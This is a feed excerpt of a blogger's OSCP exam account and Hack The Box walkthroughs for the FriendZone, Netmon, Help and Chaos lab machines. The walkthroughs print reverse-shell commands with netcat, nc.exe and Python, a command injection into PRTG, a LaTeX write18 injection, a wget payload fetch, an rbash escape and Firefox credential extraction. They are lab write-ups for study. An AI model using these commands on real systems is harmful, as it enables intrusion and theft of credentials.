7:15 AM I connected my machine to offsec ScreenConnect and Webcam and completed the steps, as I did some Buffer Overflows 2 days before so I was very sure about it and started from the 25 number bof machine which took 1 hour for me, in between that there was a problem I faced which then solved when I completed the whole steps twice</p><p>It was 8:30 AM and I started My second Machine which is 10 point machine which took almost 30 minutes to complete and there is no privilege escalation in that</p><p>At 9:00 AM I was feeling good but due to my machine is very outdated so it was taking very long for nmap scan so I took a 10 minutes break when the scan is in process and after I came back started the 20 point machine which took 1 hour for me to complete, the shell was little bit tricky but the prevesc was straight forward.</p><p>at 10:10 AM, I took another break of 20 minutes after at 10:30 AM I get back to the seat and started the other 20 point machine and got shell in nearly 30 minutes but than the strange part came, after shell I took a break and had lunch, when I get back to seat started enumeration, from 12:00 PM to 7:00 PM I was stuck at same place, after that I left the machine and took a break for dinner.</p><p>After this I left the 20 point and started enumerating the 25 point machine at 8:00 PM , where I got shell in 45–60 minutes and in enumeration found the key point to root in 10 minutes but there is some exploit modification so at 12:00 AM I thought to take a break to sleep for some time, but I was unable to sleep because I was thinking about the machine, in nearly 1 hour a thing strick my mind, something which was required for that, and I woke up back to the seat and in 10 minutes escalated it for root at nearly 2:00 AM.</p><p>Made a report till 3:45 AM and then closed the connection and sleep, another day I woke up at 10:00 AM and completed my report and submitted to offsec, due to some problems my result was delayed but on 27 August I got the mail of completing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*t5jwFhnNbRSefjJSuPrMIQ.gif" /></figure><h4>Tips for Exam:</h4><p>Just keep calm, like a normal day of Pentesting, in stress or nervousness the things will get more complicated for you. Start sacnning all the machines in starting will save so much of time. The things you learned in lab are more important than the certificate you will get, so focus more on lab.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5f8a33b6f27f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB FriendZone — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-friendzone-walkthrough-6d2daba6981a?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d2daba6981a</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Tue, 16 Jul 2019 14:25:35 GMT</pubDate>
            <atom:updated>2019-07-16T14:25:35.962Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB FriendZone — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*CE_pUTZL01vvYlJuCeARQw.png" /></figure><h4>Enumeration</h4><pre>root@ArmourInfosec:/ namp -sV -p- 10.10.10.123<br> PORT    STATE SERVICE     VERSION<br> 21/tcp  open  ftp         vsftpd 3.0.3<br> 22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)<br> 53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)<br> 80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))<br> 139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br> 443/tcp open  ssl/http    Apache httpd 2.4.29<br> 445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br> Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Let’s visit on port number 80 and see what’s going on there</p><p>got some lines,image and an email nothing else in source or etc.</p><p>port 443 is also open which stands for https version of site so lets visit there</p><p>it is showing / not found, but what i think is there is a dns and we can expect that many domains are hosted on a single IP so direct ip access is not allowed so what will do is I got a email from http page just inserted the ip with the domain in email in my host file then tried to visit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*a4tEk98Bx6gMT4H5-5bDLw.png" /></figure><p>and got it the page but i completely enumerated the page and found nothing, when i performed a nikto scan i found that the ssl certificate is registered as friendzone.red</p><p>so again changed my host file then visited https://friendzone.red</p><p>In nmap scan we knew that 53 is open on tcp which indicates a chance of zone transfer so I will go for that now</p><pre>root@ArmourInfosec:/ dig axfr @10.10.10.123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*EQl3xFdApUZaNCamJnxWgw.png" /></figure><p>got response but nothing, the zone transfer is not enabled for root zone let’s change the zone and then try</p><pre>root@ArmourInfosec:/ dig axfr friendzoneportal.red @10.10.10.123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*aqmOfkNJAvf5Eods4e-WWQ.png" /></figure><p>and got some domains !!!inserted them in host file</p><h4>Exploitation</h4><pre><a href="https://administrator1.friendzone.red/">https://administrator1.friendzone.red/</a>          #Login Panel<br><a href="https://uploads.friendzone.red/">https://uploads.friendzone.red/</a>                 #A upload file button<br><a href="https://hr.friendzone.red/">https://hr.friendzone.red/</a>                      #Nothing</pre><p>So we need credentials for login, On more port is open which we don’t have.’t enumerated that is for smb</p><p>For that i will use smbclient and will try to get shares with smb null login</p><pre>root@ArmourInfosec:/ smbclient -L 10.10.10.123</pre><pre>Sharename       Type      Comment<br> ---------       ----      -------<br> print$          Disk      Printer Drivers<br> Files           Disk      FriendZone Samba Server Files /etc/Files<br> general         Disk      FriendZone Samba Server Files<br> Development     Disk      FriendZone Samba Server Files<br> IPC$            IPC       IPC Service (FriendZone server (Samba, Ubuntu))</pre><p>got some shares let’s try to access and have a look if we can find something, I found the cred.txt file containing credentials in general shares admin:WORKWORKHhallelujah@#</p><p>login admin panel from this credentials, visited dashboard.php as shown there</p><p>on enumerating and fuzzing a found that page I found that one of the parameter pagename is vulnerable with LFI, So we can access the shell we uploaded from smb</p><pre><a href="https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/../../../../../etc/Development/phpreverse">https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&amp;pagename=/../../../../../etc/Development/phpreverse</a></pre><p>and got reverse shell visited /home/friend and read user.txt</p><h4>Privilege Escalation</h4><p>then in /var/www/ there is a conf file of mysql in which there are password of friend user</p><pre>db_user=friend<br>db_pass=Agpyu12!0.213$</pre><p>after login import pspy64 and LinEnum, in the output of pspy64 script there is a file reporter.py in /opt/server_admin running as root in every 2 minutes, It is not writable but it is importing os module and in enumeration found that we can edit /usr/lib/python2.7/os.py</p><p>Just added one line in os.py</p><pre>system(&quot;nc 10.10.14.1 443 -e /bin/bash&quot;)</pre><p>and wait for some time after some time I get a connection back of root user to my system</p><p>b0e6c60b82c********ac1656a9e90c7</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d2daba6981a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Netmon — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-netmon-walkthrough-52f5230f3f75?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/52f5230f3f75</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Sat, 29 Jun 2019 15:01:01 GMT</pubDate>
            <atom:updated>2019-06-29T15:01:01.595Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Netmon — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*ZWle9bYFwiUs2DnQzrvgLw.png" /></figure><h4>Enumeration</h4><pre>root@ArmourInfosec:~/ nmap -sV -sC -p- 10.10.10.152<br>Nmap scan report for 10.10.10.152<br>Host is up (0.15s latency).<br>Not shown: 995 closed ports<br>PORT    STATE SERVICE      VERSION<br>21/tcp  open  ftp          Microsoft ftpd<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| 02-03-19  12:18AM                 1024 .rnd<br>| 02-25-19  10:15PM       &lt;DIR&gt;          inetpub<br>| 07-16-16  09:18AM       &lt;DIR&gt;          PerfLogs<br>| 02-25-19  10:56PM       &lt;DIR&gt;          Program Files<br>| 02-03-19  12:28AM       &lt;DIR&gt;          Program Files (x86)<br>| 05-01-19  05:09AM                   84 test.txt<br>| 02-03-19  08:08AM       &lt;DIR&gt;          Users<br>|_02-25-19  11:49PM       &lt;DIR&gt;          Windows<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)<br>|_http-server-header: PRTG/18.1.37.13946<br>| http-title: Welcome | PRTG Network Monitor (NETMON)<br>|_Requested resource was /index.htm<br>|_http-trane-info: Problem with XML parsing of /evox/about<br>135/tcp open  msrpc        Microsoft Windows RPC<br>139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn<br>445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds<br>Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>|_clock-skew: mean: 3s, deviation: 0s, median: 3s<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   2.02: <br>|_    Message signing enabled but not required<br>| smb2-time: <br>|   date: 2019-05-01 10:46:56<br>|_  start_date: 2019-05-01 08:57:05</pre><p>ftp anonymous login is enabled lets check out what is inside that</p><pre>root@ArmourInfosec:~/ ftp 10.10.10.152<br>Connected to 10.10.10.152.<br>220 Microsoft FTP Service<br>Name (10.10.10.152:root): anonymous<br>331 Anonymous access allowed, send identity (e-mail name) as password.<br>Password:<br>230 User logged in.<br>Remote system type is Windows_NT.<br>ftp&gt;</pre><p>The ftp root location is at C:\, So let’s try to read the user.txt</p><h4>Exploitation</h4><pre>ftp&gt; cd Users/Public<br>ftp&gt; get user.txt<br>ftp&gt; exit<br>root@ArmourInfosec:~/ cat user.txt<br>dd58ce67b49e1****e88096c8d9255a5</pre><h4>Privilege Escalation</h4><p>Visit port number 80, Found PRTG Network Monitor at the home page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p35I61BO_KocUOCcAvKXiQ.png" /><figcaption>“PRTG Network Monitor is an agentless network monitoring software from Paessler AG”</figcaption></figure><p>At the bottom of home page i found the version to be PRTG Network Monitor 18.1.37.13946 , When searching on google I found a RCE vulnerability for this version, POC link is mentioned at the bottom</p><p>I have made an python exploit for this CMS the link is at bottom, But I will do manual approach in this writeup</p><p>But we need authentication for exploiting this, I read some manuals from PRTG and found that it stores it’s credentials in C:\ProgramData\Paessler\PRTG Network Monitor\PRTG Configuration.dat, I looked inside this file with ftp got username to be prtgadmin but the credentials inside the file are encrypted, in same directory found two more similar files PRTG Configuration.old and PRTG Configuration.old.bak</p><p>In the file PRTG Cooniguration.old.bak i found a credential PrTg@dmin2018 I tried this credentials to login but it shows them to be wrong, I thought about it and got that this is an old backup file the password i that is 2018 but currently it is 2019 so i tried prtgadmin:PrTg@dmin2019 and logged in successfully and now we are inside the PRTG Network Monitor</p><p>According to the POC the send notificationfunction is vulnerable, Go to Setup &gt; Account Settings &gt; Notifications, Add new Notifications by clicking on + button on right side</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/349/1*mLSy3zBXDdSfecwfM-muMw.png" /></figure><p>I will upload nc and will take reverse shell from the machine, the approach for this is below</p><p>In Attacker machine</p><p>Placed nc.exe in current directory and Started smbserver on My system by python file in impacket and start nc listner on your System</p><pre>root@ArmourInfosec:/# python /usr/share/doc/python-impacket/examples/smbserver.py hacker .</pre><pre>in another terminal</pre><pre>root@ArmourInfosec:/# nc -lvp &lt;PORT&gt;</pre><p>On webpage perform following steps:</p><pre>Click on execute program</pre><pre>Program File: Demo exe notification — output.ps1</pre><pre>Parameter: t.txt; copy \\&lt;myIP&gt;\hacker\nc.exe C:\nc.exe;C:\nc.exe &lt;myIP&gt; &lt;PORT&gt; -e cmd.exe</pre><pre>Click on Save</pre><p>Click on notification other than its name, then click on bell icon at right side to Send notification</p><p>And We will get reverse connection on the nc listner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*Ew_UvnaWIuBf7vdJ0_02gQ.png" /></figure><p>root.txt=3018977fb944****78f75b879fba67cc</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><p>Ref of exploit : <a href="https://www.codewatch.org/blog/?p=453">https://www.codewatch.org/blog/?p=453</a></p><p>Python exploit of CMS : <a href="https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution">https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52f5230f3f75" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Help — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-help-walkthrough-ce8a89d1c767?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce8a89d1c767</guid>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Sat, 08 Jun 2019 15:07:11 GMT</pubDate>
            <atom:updated>2019-06-08T15:07:11.271Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Help — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*5x4ctWVVCzPjnGwhLrgS0g.png" /></figure><h4>Enumeration</h4><p>So let’s start enumeration with nmap scan</p><pre>root@ArmourInfosec:/ nmap -sV 10.10.10.121<br>Nmap scan report for 10.10.10.121 (10.10.10.121)<br>Host is up (0.22s latency).</pre><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)<br>80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))<br>3000/tcp open  http    Node.js Express framework<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Let’s visit on port number 80 and see what’s going on there</p><p>just Apache default index file nothing else</p><p>lets try gobuster with a small wordlist</p><pre>root@ArmourInfosec:/ gobuster -u <a href="http://10.10.10.121/">http://10.10.10.121</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>=====================================================<br>Gobuster v2.0.1              OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.121/">http://10.10.10.121/</a><br>[+] Threads      : 40<br>[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt<br>[+] Status codes : 200,204,301,302,307,403<br>[+] Timeout      : 10s<br>=====================================================<br>2019/05/01 08:45:18 Starting gobuster<br>=====================================================<br>/support (Status: 301)<br>/javascript (Status: 301)<br>=====================================================<br>2019/05/01 08:45:50 Finished<br>=====================================================</pre><p>When we visit <a href="http://10.10.10.121/support">http://10.10.10.121/support</a>, there is the “<a href="http://www.helpdeskz.com/">HelpDeskZ :: Support Ticket System</a>”</p><p>Ok so search if there is any exploit for it</p><p>root@ArmourInfosec:/ searchsploit helpdeskz</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KWVpIu353qu-AemnN_o3jA.png" /><figcaption>Arbitary file upload looks interesting because it’s unauthenticated</figcaption></figure><h4>Exploitation</h4><p>Let’s try to exploit it</p><p>According to the exploit when we upload a ticket with php or some of the other extension files it shows “File is not allowed” but the file is uploaded and save to a special location under “http://10.10.10.121/support/uploads/tickets” with a encrypted name and the link we can get by the exploit so lets try I’m going to upload php reverse shell as “1.php” (remember to change the IP and Port in shell file if you are also using reverse shell), visit</p><p><a href="http://10.10.10.121/support/?v=submit_ticket&amp;action=confirmation">http://10.10.10.121/support/?v=submit_ticket&amp;action=confirmation</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oIBCDVR0VY4YK_hMjS74yw.png" /><figcaption>file all fields and then select the shell file and click upload it shows “File is not allowed”</figcaption></figure><p>then we run the exploit</p><pre>root@ArmourInfosec:/ python 40300.py <a href="http://10.10.10.121/support">http://10.10.10.121/support</a>/uploads/tickets/ 1.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcHYfZc5L692Km0Mrs9QIw.png" /></figure><pre>root@ArmourInfosec:/ nc -lvp 4444</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uz8dv_llGzthGfAuO-YZ8Q.png" /></figure><pre>$ cd /home/help</pre><pre>$ cat user.txt</pre><h4>Privilege Escalation</h4><p>We got the user, for root first let’s have tty shell for that i follow the guif.re linux eop so a simple command</p><pre>$ python -c ‘import pty;pty.spawn(“/bin/bash”)’</pre><p>We got the tty shell</p><p>Now let’s gather some information about the machine like kernel version etc.</p><p>So for that</p><pre>help@help:/$ uname -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mTsj3ZuFBEcxyy638L0oEg.png" /><figcaption>So it’s kernel version is 4.4.0–116, let’s find some exploits for this</figcaption></figure><pre>root@ArmourInfosec:/ searchsploit linux 4.4.0–116</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_7KXVVXFWImF_q92B_mD1w.png" /><figcaption>Here is a Local Privilege Escalation exploit</figcaption></figure><p>Let’s upload it on the victim machine I will do it with web server service</p><p>In Attacker machine</p><pre>root@ArmourInfosec:/ python -m SimpleHTTPServer 80</pre><p>In Victim machine</p><pre>help@help:/$ cd /tmp</pre><pre>help@help:/$ wget http://&lt;Attacker_IP&gt;/44298.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GdsDoevGhLcS065MFUfvBA.png" /></figure><pre>help@help:/$ gcc 44298.c</pre><pre>help@help:/$ ./a.out</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xLL80o8OkTHgsXFC5HfY6Q.png" /><figcaption>As soon as you run it you will get root user</figcaption></figure><pre>help@help:/$ cd /root</pre><pre>help@help:/$ cat root.txt</pre><p>And you got the root!!!!!!!!</p><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>What the helpdeskz exploit doing ?</blockquote><p>the system is saving invalid file to the tickets directory with a special name as it is taking current time and converting it to string then adding it with filename and generating its md5hash and then saving file with this name so the script is just reversing it and giving us the exaxt link where the response is “200 FOUND”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce8a89d1c767" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Chaos — Walkthrough]]></title>
            <link>https://vj0shii.medium.com/htb-chaos-walkthrough-2f890616cdf8?source=rss-116d459b000f------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f890616cdf8</guid>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vaibhav Joshi]]></dc:creator>
            <pubDate>Sat, 25 May 2019 15:01:01 GMT</pubDate>
            <atom:updated>2019-05-25T15:01:01.198Z</atom:updated>
            <content:encoded><![CDATA[<h3>HTB Chaos — Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*0hzJ80jyyR9hKgD6H-mx1g.png" /></figure><h4>Enumeration</h4><pre>root@ArmourInfosec:~/ nmap -sV -sC -p- 10.10.10.152<br>Nmap scan report for 10.10.10.120<br>Host is up (0.24s latency).<br>Not shown: 65529 closed ports<br>PORT      STATE SERVICE  VERSION<br>80/tcp    open  http     Apache httpd 2.4.34 ((Ubuntu))<br>|_http-server-header: Apache/2.4.34 (Ubuntu)<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>110/tcp   open  pop3     Dovecot pop3d<br>|_pop3-capabilities: TOP STLS RESP-CODES PIPELINING SASL AUTH-RESP-CODE CAPA UIDL<br>| ssl-cert: Subject: commonName=chaos<br>| Subject Alternative Name: DNS:chaos<br>| Not valid before: 2018-10-28T10:01:49<br>|_Not valid after:  2028-10-25T10:01:49<br>|_ssl-date: TLS randomness does not represent time<br>143/tcp   open  imap     Dovecot imapd (Ubuntu)<br>|_imap-capabilities: more have ID ENABLE IMAP4rev1 LITERAL+ post-login STARTTLS capabilities Pre-login OK LOGINDISABLEDA0001 listed LOGIN-REFERRALS IDLE SASL-IR<br>| ssl-cert: Subject: commonName=chaos<br>| Subject Alternative Name: DNS:chaos<br>| Not valid before: 2018-10-28T10:01:49<br>|_Not valid after:  2028-10-25T10:01:49<br>|_ssl-date: TLS randomness does not represent time<br>993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)<br>|_imap-capabilities: more ID ENABLE IMAP4rev1 LITERAL+ have post-login AUTH=PLAINA0001 capabilities Pre-login OK listed LOGIN-REFERRALS IDLE SASL-IR<br>| ssl-cert: Subject: commonName=chaos<br>| Subject Alternative Name: DNS:chaos<br>| Not valid before: 2018-10-28T10:01:49<br>|_Not valid after:  2028-10-25T10:01:49<br>|_ssl-date: TLS randomness does not represent time<br>995/tcp   open  ssl/pop3 Dovecot pop3d<br>|_pop3-capabilities: TOP SASL(PLAIN) RESP-CODES PIPELINING USER AUTH-RESP-CODE CAPA UIDL<br>| ssl-cert: Subject: commonName=chaos<br>| Subject Alternative Name: DNS:chaos<br>| Not valid before: 2018-10-28T10:01:49<br>|_Not valid after:  2028-10-25T10:01:49<br>|_ssl-date: TLS randomness does not represent time<br>10000/tcp open  http     MiniServ 1.890 (Webmin httpd)<br>|_http-title: Site doesn&#39;t have a title (text/html; Charset=iso-8859-1).<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Visit port number 80, and found a text “Direct IP Access Not Allowed”, On Brute forcing on <a href="http://10.10.10.120/">http://10.10.10.120</a> and adding chaos.htb in /etc/hosts</p><pre>root@ArmourInfosec:~# gobuster -u <a href="http://10.10.10.120/">http://10.10.10.120</a> -w /usr/share/wordlists/dirb/common.txt<br>=====================================================<br>Gobuster v2.0.1              OJ Reeves (<a href="http://twitter.com/TheColonial">@TheColonial</a>)<br>=====================================================<br>[+] Mode         : dir<br>[+] Url/Domain   : <a href="http://10.10.10.120/">http://10.10.10.120/</a><br>[+] Threads      : 40<br>[+] Wordlist     : /usr/share/wordlists/dirb/common.txt<br>[+] Status codes : 200,204,301,302,307,403<br>[+] Timeout      : 10s<br>=====================================================<br>2019/05/24 05:56:59 Starting gobuster<br>=====================================================<br>/.hta (Status: 403)<br>/.htaccess (Status: 403)<br>/.htpasswd (Status: 403)<br>/index.html (Status: 200)<br>/javascript (Status: 301)<br>/server-status (Status: 403)<br>/wp (Status: 301)<br>=====================================================<br>2019/05/24 05:57:34 Finished<br>=====================================================</pre><p>Inside /wp/wordpress found wordpress and a password protected blog which is written by a user human</p><p>On guessing its password I found it to be human</p><p>so opened it and found the following text</p><pre>Creds for webmail :</pre><pre>username — ayush</pre><pre>password — jiujitsu</pre><p>Tried to login to webmail server on port 10000 but failed to login then i remembered that there is pop3 server installed in the system i tried to login the pop3 server with this credentials</p><pre>root@ArmourInfosec:~/# nc 10.10.10.120 110</pre><pre>-ERR [AUTH] Plaintext authentication disallowed on non-secure (SSL/TLS) connections.</pre><p>OK so we will try to connect at port 995 which is used for ssl/pop3 with openssl</p><pre>root@ArmourInfosec:~/# openssl s_client -connect 10.10.10.120:995</pre><p>Logged in successfully with this but didn’t found any email, to have a look at all emails sent, received and draft. I will use Thunderbird for this</p><p>Below are steps to connect to mail server with Thunderbird:</p><ol><li>Open Thunderbird</li><li>You will find email under setup an account</li><li>Then enter the username and password u got from WordPress, in email enter <a href="/service/mailto:something@gmail.com">something@gmail.com</a> and continue</li><li>Then click Manual configuration and change authentication to normal password for both incoming and outgoing</li><li>Then click on Advance Configuration then change your server name to machine ip and in username remove <a href="http://twitter.com/gmail">@gmail</a>.com then click OK You are done then you need to click Read Message it will ask for password Enter the password and you will be connected</li></ol><p>You can see a message in the draft there you get 2 files encrypt.py and enim_msg.txt and a message from ayush to sahay</p><pre>Hii, sahay <br>Check the enmsg.txt <br>You are the password XD. <br>Also attached the script which i used to encrypt. <br>Thanks, <br>Ayush</pre><p>So from this message we know that the password to decrypt is sahay and the encrypt.py is the script used to encrypt it, so we can make a script to decrypt the message</p><p>The script I made is below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/965dfaf121045ee81b1c8d3f4c83eab5/href">https://medium.com/media/965dfaf121045ee81b1c8d3f4c83eab5/href</a></iframe><pre>root@ArmourInfosec:~/# python decrypt.py<br>Enter filename: enim_msg.txt<br>Enter password: sahay</pre><p>It will decrypt and make a file im_msg.txt which consist base64 encoded data to decrypt it cat im_msg.txt | base64 -d it will decode and will show following data</p><pre>Hii Sahay</pre><pre>Please check our new service which create pdf</pre><pre>p.s — As you told me to encrypt important msg, i did :)</pre><pre><a href="http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3">http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3</a></pre><pre>Thanks,<br>Ayush</pre><h4><strong>Exploiting pdfTex For SHELL</strong></h4><p>So visiting <a href="http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3">http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3</a></p><p>There is a webpage with title Testing PDF maker, and it is written that only one template is working, I tries all clicked on Create PDF but didn’t found any changes, then I tried to intercept the request and found a request as below</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d654b29f0d82902b4f07e5b2a1d29829/href">https://medium.com/media/d654b29f0d82902b4f07e5b2a1d29829/href</a></iframe><p>On testing i found working template to be test2, when I sent the request, in the response, I found that pdfTeX Version 3.14159265–2.6–1.40.19 is used and format of writing is pdflatex to generate PDF, after some research i found a link which gives idea about how to hijack pdflatex the link is <a href="https://0day.work/hacking-with-latex/">here,</a> some of it’s commands are blocked but I found useful code to inject system commands as \immediate\write18{id} this will execute the id command, to execute this in the content parameter insert \immediate\write18{env} and in template parameter insert test2 you will get response at the bottom with the output of the command</p><p>insert below command in content parameter</p><pre>\immediate\write18{python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28%2210.0.0.1%22%2C1234%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B%20os.dup2%28s.fileno%28%29%2C1%29%3B%20os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D%29%3B%27}</pre><p>which is url encoding of simple python reverse shell code</p><pre>python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.0.0.1&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39;</pre><p>Fire up nc on required port and sent the request, as soon as you send the request you will get reverse connection to nc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*JXTeUhUATR0MgflTft9_Wg.png" /></figure><p>Getting proper shell, spawning tty shell with python command python -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39; , press ctrl+Z type command stty raw -echo then type fg you will get connection back, then type reset , if you are asked for terminal type press ctrl+C and you will get an interective shell then set TERM with the command export TERM=xterm-256color</p><h4><strong>Privilege Escalation for User Ayush</strong></h4><p>Inside home directory i found two users ayush and sahay , on trying for same credentials which i found on WordPress blog for Ayush, so i will simply switch user to ayush with su ayush and enter the password jiujitsu and logged in successfully with this credentials but i got a restricted shell rbash</p><p><strong>BYPASS Restricted Shell:</strong></p><p>If we type any command in restricted shell which is not allowed it gives a error rbash: /usr/lib/command-not-found: restricted: cannot specify `/’ in command names so from here we knew that we have rbash shell after some research i found some of it’s commands like for directory listing we use dir, etc., now we have have to find out which commands we can use, for that er can see $PATH which holds the location of variables for this we simply need to type echo $PATH in shell which gives the location of binary we can access so the PATH location is /home/ayush/.app on listing it’s content with dir found three binaries dir, ping, tar. After some research I found a way with tar to bypass the restricted shell for that I used following command</p><pre>ayush@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash</pre><p>and from this you will escape from restricted shell but still you can’t access all the commands for this we need to add /bin in our PATH variable for that simply type export PATH=$PATH:/bin after that you can access all the commands then just cd to /home and cat user.txt</p><p>eef39126d9c3b********6970dc713e1</p><h4>Privilege Escalation For root</h4><p>After getting user I started searching for the way to root, I got some hints from forum that it is something related to Firefox, I found the Firefox installed by the directory at .mozilla at /home, I researches about it and found that Firefox can hold credentials for users in a system in it’s database files cert9.db and key4.db inside ~/.mozilla/firefox/bzo7sjt1.default when I looked at it the file size is very much as compared to newly installed which means that it holds some credentials, I found a script which can extract the credentials from Firefox database, it is a python script, link for script is <a href="https://github.com/unode/firefox_decrypt/blob/master/firefox_decrypt.py">here,</a> Simply download it and run with python, I will user python HTTP Server to transfer it to the machine then simply run it with python as follows:</p><pre>ayush@chaos:~/ python firefox_decrypt.py</pre><p>this will give the credentials for root then you can simply switch user to root with su</p><pre>ayush@chaos:~/ su root<br>password:<br>root@chaos:~/home/ayush# cd<br>root@chaos:~# cat root.txt</pre><p>4eca7e09e35********4563cfbabbc70</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f890616cdf8" width="1" height="1" alt="">]]></content:encoded>
